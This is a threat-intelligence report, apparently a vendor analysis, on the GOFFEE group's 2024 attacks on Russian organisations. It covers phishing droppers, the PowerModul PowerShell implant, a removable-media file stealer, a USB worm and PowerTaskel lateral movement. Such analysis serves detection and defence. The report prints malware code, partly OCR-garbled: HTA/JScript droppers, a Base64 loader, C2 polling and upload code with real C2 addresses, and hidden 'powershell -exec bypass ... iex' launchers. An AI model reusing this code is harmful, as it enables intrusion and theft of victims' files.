GOFFEE continues to attack organizations in Russia
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GOFFEE is a threat actor that first came to our attention in early 2022. Since then, we have observed
malicious activities targeting exclusively entities located in the Russian Federation, leveraging spear phishing
emails with a malicious attachment. Starting in May 2022 and up until summer of 2023, GOFFEE deployed
modified Owowa (malicious IIS module) in their attacks. As of 2024, GOFFEE started to deploy patched
malicious instances of explorer.exe via spear phishing.

During the second half of 2024, GOFFEE continued to launch targeted attacks against organizations in
Russia, utilizing PowerTaskel, a non-public Mythic agent written in PowerShell, and introducing a new implant
that we dubbed “PowerModul”. The targeted sectors included media and telecommunications, construction,
government entities, and energy companies.

This report in a nutshell:

¢ GOFFEE updated distribution schemes.

¢ A previously undescribed implant dubbed PowerModul was introduced.

o GOFFEE is increasingly abandoning the use of PowerTaskel in favor of a binary Mythic agent for lateral
movement.

For more information, please contact: intelreports@kaspersky.com
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Technical details

Initial infection

Currently, several infection schemes are being used at the same time. The starting point is typically a

phishing email with a malicious attachment, but the schemes diverge slightly from there. We will review two
of them relevant at the time of the research.

The first infection scheme uses a RAR archive with an executable file masquerading as a document. In some
cases, the file name uses a double extension, such as “.pdf.exe” or “.doc.exe”. When the user clicks the
executable file, a decoy document is downloaded from the C2 and opened, while malicious activity is carried
out in parallel.
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Example of decoy document
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The file itself is a Windows system file (explorer.exe or xpsrchvw.exe), with part of its code patched with a
malicious shellcode. The shellcode is similar to what we saw in earlier attacks, but in addition contains an
obfuscated Mythic agent, which immediately begins communicating with the command-and-control (C2)
server.
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In the second case, the RAR archive contains a Microsoft Office document with a macro that serves as a
dropper.
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Malicious document with a macro

When a document is opened, scrambled text and a warning image with the message, “This document was
created in an earlier version of Microsoft Office Word. For Microsoft Office Word to display the contents
correctly, click ‘Enable Content”, are shown. Clicking “Enable Content” activates a macro that hides the
warning image and restores the text through a normal character replacement operation. Additionally, the

macro creates two files in the user’s current folder: an HTA and a PowerShell file, and writes the HTA into the

registry using the “LOAD” registry value of the “HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Windows” registry key.

1  HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows

2 "LOAD"="C:\Users\<sUSER_NAME>\UserCache.ini.hta"

Although the macro itself does not start anything or create new processes, the programs listed in the “LOAD”

value of the registry key are run automatically for the currently logged-on user.

L ¥ Cut ) a ¥ - " " »

) B c TimesNewRo - [14 - |A" A" Aa- B = -ic-bo- &9 LT | AaBbCi aaBbCc AaBbCc AaBbC( AaBb

ER Copy

Paste - =M, abe s = M- - T Non T Mo al Head
- * Format Painter B I U abe X, X I - _ﬁ_ == =5 = ¥ Body Text MNormal Mo Spac...  Heading eadi

Clipboard = Fant W Paragraph
I SECURITY WARNING Macros have been disabled. Enable Content

- IIp**rp cen

4/23


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/04/08135036/goffee-apt-new-attacks-EN4.png

<html>

£HTA:APPLICATION icon="§" WINDOWSTATE="minimiz: SHOWINTASEEAR="n SYSMEHU= CRAEFTICH= ’=
<body>
<3Cript>

var zéro = 0;
Var op = "of :
var app = new ActiveXObject (" F o I

var doing = functiem{pl, p2, p3, p4, p5, p6) {
pl.ShellExecuce (p2, p3, p4, p5, p6):

var user path = app.NameSpace (Ox28) .Se1f.Path;

var userProfile = :

var userProfileDouble = userProfile.replace(/%\\/g, ¥:
var j=_path = userProfile +

var content_path = userProfileDouble +

var argl = "

argl = argl + js _path;

argl = argl +

argl = argl +

argl = argl +

argl = argl +

argl = argl +

argl = argl +

argl = argl + + content path +°:
argl = argl 4 L
argl = argl + + j=_path;

Var emprys = ""

Var cm = " ' H

doing(app, cm, argl, empcyS, op, zera):

Cl - ¢
doing{app, cm, js path, emptyS, op, Z&ra):

</script>

<8Cript>
self.clase():

</script>

< fbody>
</fhtml>

UserCache.ini.hta content

The malicious HTA runs a PowerShell script (PowerModul), but not directly. Instead, it first uses cmd.exe and
output redirection to drop a JavaScript file named “UserCacheHelper.Ink.js” onto the disk, and then executes
it. Only then does the dropped JavaScript run PowerModul:

1 cmd.exe /c if not exist "C:\Users\user\UserCacheHelper.Ink.js" echo var objService =
GetObject("winmgmts:\\\.\\root\\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var
objConfig = objStartup.Spawninstance_();objConfig.ShowWindow = O;var processClass =
objService.Get("Win32_Process");var command = "powershell.exe -¢ \"$raw= Get-Content
C:\\Users\\user\\UserCache.ini;Invoke-Expression $raw\"";var result = processClass.Create(command,
, objConfig, 0); > C:\Users\user\UserCacheHelper.Ink.js

It is worth noting that “UserCache.ini.hta” and “UserCacheHelper.Ink.js” contain strings with full paths to the
files, including the local user’s name, instead of environment variables. As a result, the control keys, as well
as the file sizes, will vary depending on the current user’'s name.

var objService = GetObject{"winmgmts:i\\i\ . A\vrootiicimu2™);var objStartup =
objService.Get{"Win32_ProcessStartup”);var objConfig =
objStartup._SpaunlInstance_();objConfig.ShowWindow = 8;var processClass =
objService.Get("Win32 Process");var command = “powershell.exe -c YV'$raw=
Get-Content C:\iUsersiiuseryiUserCache.ini;Invoke-Expression $raw\''";var result =
processClass _Create{command, null, objConfig, 8);

UserCacheHelper.Ink.js content

The “UserCacheHelper.Ink.js” file launches a PowerShell file named “UserCache.ini”, dropped by the initial
macro. This file contains encoded PowerModul.
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PowerModul

MD5 60A53D2C653991F086C4E6663D652CF2

SHA1 636814C31B78DD291049029A655238D7ADAFF041

SHA256 BE1DOFAF1C253FAACBA1059971B01D1D646256D7B2E557DA55ED059542AFDBCD
File type = PowerShell

File size  6.66 KB

File name UserCache.ini

PowerModul is a PowerShell script capable of receiving and executing additional PowerShell scripts from the
C2 server. The first instances of this implant’s usage were detected at the beginning of 2024. Initially, it was
used to download and launch the PowerTaskel implant, and was considered a relatively minor component for
launching PowerTaskel. However, its use of a unique protocol, distinct payload types, and a C2 server
different from PowerTaskel’s led us to classify it as a separate family.

Shase="U2Uudm1lyb25tZUS0XTo6G3VycmUudERpeml) jdG? ve TOkaG?t ZTsHNC 1t 0ZXGQul 2V ydml j
ZUBual50TWFuYWd1c 10601H1cnZlc kN1enRpZnl j¥ R R1UnFs aWRhdG lubkNhhGyx i ¥WNr1 Dilge vh
kdHJ1ZS B 0uOKZnUuY 3Rph2 4gRG? 3 bmxvYWRDb25malldz IHsNCg 1uY B JhbS g kR1UQUWURraS kNCy
10cnkgewBKCGkkbnlyGR BubhiA? I ES 1dyl PYmplY¥ 3Qgc3 1=2dGUt LkE 1ACSRZWIDDG 1 1bn Q7 Do JC
SRilUiU1a3hjlDOgImhOdHAGLyE82Mi4xMTHuMT EDL jExNz 04MCI 7D3o JCERUAUS 1 hUd4] DigJGS p
ckFucGAuZG? Ibmxu ¥ WRT dHJpbnco I iRil1U1a3hjL2FuaS?0ZE hDc y8kR1UQUUR»a s I pOnOKCQ 1
HemlDZS1 ITh3NDI CJEL3 dubGYhZENubnZpZ3IM6 I iAkUHU0dH KeDsNCgkJemBd X Jul GRUAUS 1 HU
d40uiKCEDgY 2F0Y 2gge wOKCQ1yZE Rl cmdgJycNCy 12 DGp? Dgpmdl5 idGlevbhiBGemn? t OnFzZTY DI
N1icFEDcUogPSBEL3dubGIhZENvbnZpZIMgJEAUUF1Ua2k?DQoNCykJd2hphGUo JHNLcFBDclogL
WxICenKEBY?DQo JCQ1PEMZs alls 1U2 2 a2l yOuwlKCQkJJEpue W1 nSUMgPE BHZEQtUmFuZG2 € ICIN
alsphiUtIDegLUihe GltdWigH jH?DGo JCQITAGFydC1iThGY 1cCAoH=A0I CsgJEpycWinSUHpOwD
KCQkJJHN1cFBDcVogPS BEL3dubG? hZENy bmZpZ3NgJEAUUF1UaZk?DQo JCRDNCgOKCG10cnkye w
DKCQKJJE1xS kFKkQKEgPSBhe G1 2 X SRz dHBQQIFaOuwlKCQkJJFJ4al lyc EggPS AuOuwDKDQo JCQ13a
GlsZ8gkdHJ1ZS 17000 JCQEJJEJJUUVBE QnAgPS AwOulKCQkJCS RuRK pgZGUJ I DOgMDsNCgkJCQ1m
h3J1¥UNo I CgkWkRalkxCdiBphiAkS HFKQURCGS5Db25nalldzLkNubnZpZykNCykJCQ17DQo JCOk
JCERwRE pgZGUJ I Cs? I DE?DGQoNCgkJCQLJJEdnZk1GQlogPEBhall5 XU LNY R RoR To6Rmxvb3IoIC
REeGpZa3dBl IC8gW2 1ud FOKWKkRalkxCdiSJbnR1lenZhbhCk7?DQo JCQKJCS Bull F2AW26 I DOgH2 1ud
F1bhTWFDaFO60kZs b2 yKCAkUn hgWtwSCA 1l FtpbnRAJFpEW 1ZMHQn Y uSWS OZE J2Y thupOuwl KCQO K
CQkJCQ1pZigkRZdmT UZCHiAtbHQgW2 1lud FOkWkRalkxCd i5Dh3Vud FJ1 bnMgLWFuZGChlkc FNRdnU
veiAtZREgMC17D0oJCOkJCOKKT GdgcUhXTCA? I EZyb21 CYENIN Qg JFpEW 1ZHOn Y uT W2 kd bl 10w
DKCQkJCQkJdHJIS5 e wDKCOQkJCQRJICU ludn? »Z81 Fe HEyZENzal?uKCRHZZ px S FAMKT sNCgkJCQkJC
HONCgkJCQkJCHWNhdAGHo THt 2 DQo JCQkJCXONCyDKCQRJCQ1pZ igoll2 ludFOKWkRaUkxCdiSJbnR1
cnZhbCAgl FtpbnRAJFpEW1ZMQnY ud291bnREAUS zKS At bHOg W2 1ud FORUn hgWitwSC17DQo JCOk
JCQkkGk IVUFACe CArPEAxOwDKCOkJCQ12DQo JCOkJE QDKDGo JCGkJUIRhenQtU2x 1ZEAgN H?DG
oNCgkJCQ1pZ ihbaW5BXSRCEVVGUOJwI C1 1cEBballs DX S RuRE pgZGUJKsNCykJ COkdYnJ 1Y Ws 7D
QoJCQkJE QDEDGQo JCQkJIFJ4allrc Egglz0gMT sMCgkJCRONCokJE QDKCQL jY ¥R jaCB?f QUECHON
CnONCmNhdGNoIHt2"; Sbhasefd = [System.Convert]l::FromBasebdString{sbhase?;%cod
e = [System.Text.Encodingl::UTFB.GetString{Shasebd);iex Scode; Ji

UserCache.ini content

In the scheme being described, the PowerModul code is embedded in the “UserCache.ini” file as a Base64-
encoded string. The beginning and end of the decoded script are shown in the images below, while the
middle section contains a copy of the HTA file, as well as code responsible for dropping the HTA file onto the
disk, writing it to the registry, and hiding the file by changing its attributes to “Hidden”. Essentially, this code
replicates part of the functionality of the VBA macro found in the Word document, except for file hiding, which
was not implemented in VBA.
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[environment] : :CurrentDirectory=5haome;

[Net.ServicePointManager]::ServerCertificateValidationCallback = { Strue };

function DownloadConfigs |
param | SGUPYTEL)
ey |

SnirAppn = New-Object system.Net.WebClient;

$bSUukxc = "hitp://62,113.114.117:80";
$TuNumWx = SnirAppn.downloadstring("Sbsvukxc/api/texts/ScUryThi™) ;
Write-Host "DownloadConfigs:"™ STuNumWx;

return $TuNumWx;
} catch {
return "'

}

function FromBases&4 |
param(5¥xzBWkY)

return [System.Text.Encoding]::UTF8.GetString([3ystem.Convert]: FromBassé4string (FyxzBWkY)) ;

SyNolzod = (Fet-WMIObject —Class Win3d2 Volume -Filter "Driveletter='SuDWNOSZ'").SerialNumber.To3tring("x");

try {
} =atch {
return "'
}
}
function GetId(){
tey{
SFrnFZIB = SEnv:UssrMName;
5Diy3DwL = SEnv:ComputerName;
5uDWNOSZ = Get-CimInstance Win32 OperatingSystem | Select-Chject *
SCUPYTki = SDiy3DwL + "_" + SFrnFZIE + "_" + JyNolzod;
SGUPYTkiDecoded = [uri]::EscapeDataString ($GUPYTki);
return $GUPYTkiDecoded;
¥
catch {
return "';
}
b
funection OfflineWorker() |
try{
5BAegler = '*;
if (3BReqLer -ne "")}{
S5C0WaNWmT =~ FromBase64 SBAsgLer;
Invoke-Expression ($0WaN®mT) ;
}
}

Beginning of PowerModul

| ForEach-Object { 5_.SystemDrive };
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SGUPYTki = GetId;
while (Strus=s) {
$supPCgZ = DownloadConfigs SGUPYTki;

while ($supPCgZ -=g "") {
offlineWorker;
SJoqmgIS = Get-Random -Minimum 7 -Maximum 23;
Start-Sleep (304 + $5JogmgIs);
5s5upPCgZ = DownloadConfigs SGUPYTkI;

try {
SIgJAdBA = [xml]SsupPCqZ;
SRxjYkpH = 0;

while (Strue) {
SBIUPWBp = 0;
SpEzjdel = 0;

foreach ($5ZDZVLBv in 5IgJAdBA.Configs.Config)
{
SpEzjdel += 1;
5GgfMFBZ = [int] [Math]::Floor( $SRxjYkpH / [int]S$ZDZVLEv.Interval);
$p3Qvuoz = [int] [Math]::Floor( S$ExjYkpH % [int]S$ZDZVLBv.Interval);
if ($GgfMFBZ -1t [int] 3ZDZVLBv.CountRuns -and Sp3Qwvuoz -=q 0){
SLgjgHWL = FromBase64 SZDIVLBv.Module;
tryf
Invoke-Expression ($LgjgHWL) ;
}
catch {}
}
if(([int] SZDEZVLBv.Interval * [int]S$ZDZVLBv.CountRuns) -1t [int]S$RxjYkpH) {
SBIUPWEp += 1;
}
}

Start—-Sleep £3;

Af([int]SBIUPWBp -e=g [int] SpEzjdeI){

break;

SRxjYkpH += 1;
End of PowerModul

When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting
of the computer name, username, and disk serial number, separated with underscores:

1  hxxp://62.113.114[.]117/api/texts/{computer_name} {username} {serial_number}

The response from the C2 is in XML format, complete with scripts encoded in Base64:
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—_

HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/plain
Content-Length: 35373

Connection: keep-alive

<Configs>

<Config>

© 00 N o o A w DN

<Module>ZnVuY3Rpb24gQ3JIYXRIVKJTRmIsZSgkYkJkcmxzRCwgJGIMc1FybVQsIC....==</Module>

—_
o

<CountRuns>250</CountRuns>

—_
—_

<Interval>1</Interval>

—_
N

</Config>

—_
w

<Config>

—
N

<Module>ZnVuY3Rpb24gUnVuKCI7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I...</Module>

There is an additional, previously undescribed function in PowerModul, named “OfflineWorker()”. It decodes a
predefined string and executes its contents. In the instance shown in the screenshots above, the string to be
decoded is empty, and therefore, nothing is executed. However, we have observed cases where the string
contained content. An example of the OfflineWorker() function containing the FlashFileGrabber data stealing
tool code is shown below:

—_

function OfflineWorker() {

2 try{
3 $_ offlineFlash =
'ZnVuY3Rpb24gUnVuKCI7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE....... ="
4
5
if($___ offlineFlash -ne "){
6
$  flashOfflineDecoded = FromBase64 $  offlineFlash;
7
Invoke-Expression($__ flashOfflineDecoded);
8
}
9
10
catch{}

11

The payloads used by PowerModul include the PowerTaskel, FlashFileGrabber, and USB Worm tools.
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Fl

ashFileGrabber

As its name suggests, FlashFileGrabber is designed to steal files from removable media, such as flash
drives. We have identified two variants: FlashFileGrabber and FlashFileGrabberOffline.

namespace FlashFileGrabberOffli
{

ne5id

public static class Program$id

i
[3TAThr=ad]

public static void Main |

{

var vDgDXNzZ = "Cac

try

{
string[] YcXWyE
string SikIsUws
string lSddMXva
string DSbcoUCVE
if (lsddaMx
{

heS3tore™;

.docx .xml
GatFolderPath (Environment. Spe

3g = ".txt .doc
= Environment.
Path.GetTempPath

Environment.CurrentDiractory;

cialFolder

-xls .xlsx .xlm .pdf .html .rar .

calhpp

-7z .jpg .jpe

licationData

elss if
{

else if (SikIslUw

{

string jwNiDpCz

Path.Combine (13ddMxXva, vDgDXNzZ);

DEh.DBhInit (SikIsUws) ;

bxIIV.bxIIVInit

foreach (DrivelIn

{

1f (OcHLtV:

(YcXWyfsg, JwNjDpC=z, 200000000)

bxIIV.Or¥bo (OcHLtVn] . Nar

}
}
I
catch { }

FlashFileGrabberOffline main routine

FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies
them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following

the template “% TEMP%\CacheStore\connect\<VolumeSerialNumber>\". The folder names “CacheStore” and
“connect” are hardcoded within the script. Examples of such paths are provided below:

~ » (6)] A~ w N

%TEMP%\CacheStore\connect\62431103\2024\some.pdf

%TEMP%\CacheStore\connect\62431103\Documents\some.docx

%TEMP%\CacheStore\connect\62431103\attachment.jpg

%TEMP%\CacheStore\connect\6¢1d1372\Print\resume.docx
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Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for
the copied files, including the full path to the original file, its size, and dates of last access and modification.
Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of
the aforementioned metadata. This allows the malware to avoid copying the same files more than once:

1 %TEMP%\CacheStore\connect\<VolumeSerialNumber>\ftree.db
2

3  %AppData%\internal_profiles.db

The list of file extensions of interest is as follows:

Tz .kml .rar

.conf .log rtf

.Csv Arf .scr

.doc .mdb .thm

.docx .ods Axt

.dwg .odt Xim

.heic .ovpn xlIs

.hgt  .pdf Xlsm

.html .png  .xIsx

Jjpeg .pptx .xml

Jpg .ps1 .Zip

FlashFileGrabber largely duplicates the functionality of FlashFileGrabberOffline, but with one key difference:
it is capable of sending files to the C2 server.
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namespace FlashFileGrabberfid
{
public static class Program$id
{
[STAThread]
public static woid Main
{
var BML1dkZH = "CacheStore";
00rcX (BML1d )z
c¥¥Xm (BML1
1
public static woid OOrtX(string BML1dkIH
{
Iy
{
string[] dWWZjlYh = ".txt .doc .docx .xml .xls .xlsx .xlm .pdf .html .rar .zip .7z .jpg .jpeg .png
string vaWtYbdE = Environment.GetFolderPath (Environment.SpecialFolder.LocalApplicationDacza);
string ymArWgrQ = Path.GetTempPath():
string YpsTRzCw = Environment.CurrentDirectory:
// [TRUNCATED]
foreach (DriveInfo QUCWRQLyN in DriveInfo.GetDrive
{
if (QCWEgLyMN.IsBReady &£& QCWRgLyN.DriveType == DriveType.Removable)
{
OCkLG . yHiQp (CCWRgLYN . Hame)
1
}
public static class OHnGO
{
public static string 1ad0HqQTp = "http://94.158.247.19:80" . TrimEnd (" /") ;
public static string mkHzTMnL.;
public static wvoid xSgen(string nQuSbgil
{
LIy
{
string sbNlwEej = GEXIr.TgudW("C:"™)
mkHzTMnl. = string.Join("&&", new string[] { Environment.Machinel lame nvironment .JserHame, sbHlwEe
string[] lyDbZ¥Th = Directory.GetFiles (nQuSbgilU, "*.*", SsarchOption.Al et =3)

foreach (string voolILlFk in 1yDBZYTh
{

Ty

{

USB Worm

FlashFileGrabber’s routines

-Llow

USB Worm is capable of infecting removable media with a copy of PowerModul. To achieve this, the worm
renames the files on the removable disk with a random name, retaining their original extension, and assigns
them the “Hidden” file attribute. The “UserCache.ini” file, which contains PowerModul, is then copied to the

folder with the original file.
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function SearchDrive I
FMemTfUQ = Get-Hmidbject Win32 Volume -Filter "DriweType='2'®;
SbSusaly = 52

foreach(fpinlelp in SMimILOQ)

if(Snull -ne SpindeTpl{
[int]) SuCRRPIT = O:

StAQUgFTtes = Ger-Childitem Spindelp.Name -Recurse -File -Depth -Force | Sort-Qbject LastAccesaTime -Descending | sslect FullName:
£/ [TRUHCATED]
foreach (§Rbubpri in SthgdgFes

[
f/ [TRUMCRTED]

AL [5pInleTp. Capacity 5pInCeTp. freespace gt 1
CreaceShortcutForFile SWbuhpri.Fulllame;
SUCARF]T+#;:
i
J/ [TBRUNCATED]
b
1
)
]
try |
SearchDrive;
1
catch {1}

USB Worm main routine

Additionally, the worm creates hidden VBS and batch files to launch PowerModul and open a decoy
document.

function CreateVBSFile (SbBdrlisD, SilsQrmT, SzFExemd) |
try |
$ijXlfeD = "Set WshShell = WScript.Createlbject |(""WScript.Shell™"
WshShell .Ron Chr (34} & "® A\ JiLsQrmT.bat™ & Chr(34), 0, Falss
WshShell .Run Chr 4 & " AFilsQOrmTSzFExemd"" & Chr(34), 1, False

Set WshShell = Nothing™:

[Eyscem. I0.File] : tWricefl1Texe (SbB4ArlsD, SijKL1feD);
Starc-Slesp -Millissconds 10;
fthqdgFr = Ger-Item ShBdrlsD -Force;
SehgdgFr.attribuses="Hidden";

]

catch {}
1
function CreateBatFile |(SvIPWike) {
cry {
£13X1feD = "powershell -eXec bypass -windowstyle hidden -nop -c "Sraw= [io.file]::ReadRllTexc(""".\UserCache.ini"""); iex Sraw:"":
[System.I0.File] : :WriteAllTexc (SvIFWike, SijX1feD):

Starc=5leep =Milliseconds 107
Sthgdgfc = Get-Item SviFWike -Force:
SthqdgFr.attributes="Hidden" ;

}

catch ()

CreateVBSFile() and CreateBatFile() functions

1 Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run Chr(34) & ".\zermndzg.bat" & Chr(34), 0, False
WshShell.Run Chr(34) & ".\zermndzg.docx" & Chr(34), 1, False

A WN

Set WshShell = Nothing

Example of the contents of a malicious VBS

1 powershell -exec bypass -windowstyle hidden -nop -c "$raw=
[io.file]::ReadAllText("".\UserCache.ini"™); iex $raw;"
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Example of the contents of a malicious batch file

A shortcut is also created with the original name of the decoy document, which, when launched, executes the
VBS file.

function CreateShortcutForFile (IWhOOWgD) {
ey
if([Syscem.I0.File] : :Exiaca (SWhOQWgQ) ) |
StAgdgFiName = [System.IO0.Path]::GetFileNameWithoutExtension (SWhOOWgO) 2
EiECGVIw = [Syscem.I0.Path)::GetDirectoryName (SWhoQWgQ) :
SzFExemd = [Syscem.IO.Path]::GetExtension (SWnOOWgQ):

SCpJIzIP = "§5yacemRooT¥\&yscem32i\shelliz. dll, 1";
if (SzFExemd —eq '.pdf") {$CpJiziP = "ISyscemRoor¥\ayscem3Z\shell3z.dll,242";
]

#// [TRUNMCATED]

elseif ((fzFExemd —eg '.doc') -or d —=q f.docx')) (§CpJiziP = "kSystemRooti\systemi2i\she1132.d411,1";
¥

elseif {((SzF¥xemd -eqg '.xls') -or (SzFExemd -e=q *.xlax®)) (SCpJiziP = "WSystemRooc¥\system32\shelldZ dll, S&%:
]

elseif |($zFExemd -eq '.exe')) ($CpJiziP = "%SyscemBoothi\system32\shelldz.dll,2":

1}

Shrg¥lXy = [Syacem.I0.Path]::GecFileNameWithoutExtension|[Syatem.I0.Pach]::GecRandomFileName [));

$EkvbngC = "SiECGVIW\UserCache.ini™;

SYIFHike = "SLiECGVIW\FhrQY1Xy.bac™;

SbBdrlsDl = "SiECGVIW\ShrQY1Xy.vha™;

Af([System.I0.File] : :Exists ("fenv:USERPROFILE\UsezCache.indi")) {

Copy-Item "Senv:USERPROFILE\UserCache.ini® ~-Destination "5KkvbngC® -Force | Out-Null:
Scart-5leep -HMilliseconds 10;
StAgqdgfcCore = Get-Item SEkvbngl -Force:
SthAqdgFoCore.attributes="Hidden" ;
} catch {}
CreateBacFile SvIPWike;
Scarc-Slesp -Milliseconds 10;
CreateVBSFile $bBdrlsD ShrOY1Ny FzFFExemd;)
Seart-Sleep -Millissconds 10;

if({[Bystem.I0.File] 1 :Exists ($v2ZPWiks) -and [System.I0.File]::Exists(fbBdrlsD) -and [System.I0.File]::Exists($EkvbngC)) {

Soe¥will = "StAgdgFcHame.lnk™:
Ste¥widiTmp = "ShrQ¥1Xy.lnk":

EBYrDuru = "SiECGVIW\SteYwiTITmp":
SiLaQrmIPath = "S1ECGVZWASnrOY1XNy.vba™;

tey|
SEIELORAR = Hew-Object -comlbject WScript.Shell
SahuiWlw = SkTkiOAL.CreareShorecue (SEYrDury)
SshuiWRw.TargetPath = SilaQrmTPath;
$shuiWBw.Iconlocation = SCpJdjziBs
SshuiWhw.Save(] s

CreateShortcutForFile() function

To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of
the original file. The worm limits the number of documents replaced with shortcuts to five, selecting only the
most recently accessed files by sorting them according to their LastAccessTime attribute.

14/23


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/04/08141609/goffee-apt-new-attacks-EN14.png

A A

BAT </>| +
' A powershell Command line
arguments
LNK VBS (PowerModul)

A N\
w <[>

Hidden, renamed UserCache.ini
original document {PowerModul)

System infection scheme via removable media

PowerTaskel

We have dubbed the non-public PowerShell Mythic agent delivered via a mail-based infection chain since
early 2023, as PowerTaskel. This implant possesses only two primary capabilities: sending information about
the targeted environment to a C2 server in the form of a “checkin” message, and executing arbitrary
PowerShell scripts and commands received from the C2 server as “tasks” in response to “get_tasking”
requests from the implant. The request payloads are PowerShell objects that are serialized to XML, encoded
using XOR with a sample-specific 1-byte key, and then converted to Base64.

Based on the naming and ordering of the configuration parameters, it is likely that PowerTaskel is derived
from the open-source Medusa Mythic agent, which was originally written in Python.

self_-_ggent_l_:_unfigﬁh{ K hoet $agentConfig_Server = "httP=-"/—

erver': 'ca ac ost", Pl T

"Port': "callhack_pnrt" $agentEDnF%g_PDrt = "8e";
"PostURI": “spost_uri”, $agentEunFlg_PnstURI = "fdata";
::ﬁﬁfﬁ'ﬁ?d!{!{m"- “UUTD_HERE". fagentConfig_GetURI = "/index";
"Heade;s":.headers, $agentEunF?g_GEtParam = "q7s
"2 leep”: callback_interval, $agentEDnFlg_Sleep = 18; ol
"Jitter': callback_jitter. $agent[,‘.unFj_g Jitter = 23;
"KillDate': "killdate™. P _ .-._
venc_key": AESPSK, $agent[:unF:.Lg_I{111I)ate = ” H
"ExchChk'': "encrypted_exchange_check". $agE"tEU“F19_EXChEhk = "True™;
"GetURI": “rget_uri®, $agentConfig_ProxyHost = "";
"GetParam': “query_path_name". - _

"PruxyHust": "pruxy_}lust", $agEnthnFig_Pl‘DHyu59I‘

"Proxylser": “proxy_user", fagentConfig_ProxyPass =
::gl'ﬂxs'gass:ﬁ nproxy_pass®, $agentConfig_ProxyPort = :
y roxyPort': “proxy_port". $agent[:unFig_Enl::l‘yptHE_l,l = ﬂ'
$agent[:unFig_DecryptHey =8 E
while(Trued:
if(self _agent_config["UUID"] == ""'):
self .checkIn{>
Comparison of Medusa and PowerTaskel configuration code
data = £ $RequestHashtable = Mew—Ohjesct —TypeMame PS5Object -Property B{
"action": "checkin", action = “checkin";
'ul"‘ ip. ip = Scallback_1P;
"os H sulf get0Slerziond), os = jcallback_08;
"user'': self. yetl.lsernane(} user = Scallback_llser;
"hozt'': }mstnumc host = Scallback_Host;
“"domain:': socket.getfgdn{d, domain = $callback_Domain;
"pid": o5 . getpid(d, pid = %callback_PID;
“"uuid': self.agent_configl'PayloadlllD*"], uuid = $agontConEiqj‘aylnad.LllIID;
"apchitecture": "x64" if sye.maxsize > 2##32 else "xB6". architecture = hack_Architecture ;
“encryption_key": self.agent_configl"enc_key"1["enc_key']. integrity_level = Scallback_Integritylevel;
5 "decryption_key": szelf.agent_configl"enc_key"1["dec_key'] EH
encoded_data = hase6d.bédencode{self.agent_configl"PayloadllID"] $RequestlUUID = $agentConfig_PayloadUUID;
decoded_data = zelf.decrypt{self.makeRequest{encoded_data, °POST . - e

Comparison of Medusa and PowerTaskel * checkln function code
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PowerTaskel is a fully functional agent capable of executing commands and PowerShell scripts, which
expand its capabilities to downloading and uploading files, running processes, etc. However, its functionality
is often insufficient due to specific aspects of PowerShell usage, prompting the group to switch to a custom
binary Mythic agent. To achieve this, PowerTaskel loads the Mythic agent from the C2 server, injects it into its
own process memory, and runs it in a separate thread. In this scenario, the Mythic agent is present as a self-
configuring x32/x64 shellcode. The method of injecting and loading the Mythic agent shellcode is described
in more detail in the “Lateral Movement” section.

In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task.
FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab
files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet
“New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired
files.

Lateral movement

Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to
elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is
part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is
located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the
presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the
C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.
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§remote path = 'c:\programdata';

EFila mama — inrooaw

Getting “ntuser.exe”

§task_responge = New-Object -TypeName PSObject -Property @4
task _id = Skvmnghuwpy :
user output = "'

completed = [bool]::Parse('Tru='):
status = "error’;

| ¥

try |

Sontput = {

C:\programdata’\ntuseréd.exe -s -i -accepteula | powershell.exe fo 'mshta.exe ______

}.Invoke():
if (Soutput) {
foreach($out in Sountput){

}
I
$task_mspu-n.ss..!t,at.u: = 'succ

The “ntuser.exe” executable running “mshta.exe”

The next image illustrates an example of the execution flow of various scripts and commands started with the
privilege elevation procedure. The executable file “1cv9.exe” is a renamed PsExec utility, and the argument “-
s” specifies that the process it launches should run under the System account. The launched program

17/23


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/04/08142510/goffee-apt-new-attacks-EN18.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/04/08142557/goffee-apt-new-attacks-EN19.png

“‘mshta.exe” accepts a URL as an argument, which points to an HTA file containing malicious, obfuscated
JScript. The HTA file is cached and saved to the InetCache folder. This JScript creates two files, “desktop.js”
and “user.txt”, on the disk using the “echo” console command with output redirection to a file, and then
executes desktop.js via cscript.exe. The desktop.js file, in turn, launches the interpreter with a script on the
command line, which reads the contents of user.txt and executes it. As evident from the contents passed to
the “echo” command, user.txt is another PowerShell script whose task is to extract a payload from a
hardcoded address and execute it. In this case, the payload is PowerTaskel, which now runs with the
elevated privileges.

Example of execution flow on an infected system

Once launched, PowerTaskel interacts with its C2 server and executes standard commands to gather
information about the system and environment. Notably, the launch of csc.exe (Visual C# Command Line
Compiler) indicates that PowerTaskel has received a task to load a shellcode, which it accomplishes using an
auxiliary DLL. The primary function of this DLL is to copy the shellcode into allocated memory. In our case,
the shellcode is self-configuring code for the binary Mythic agent.

The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM
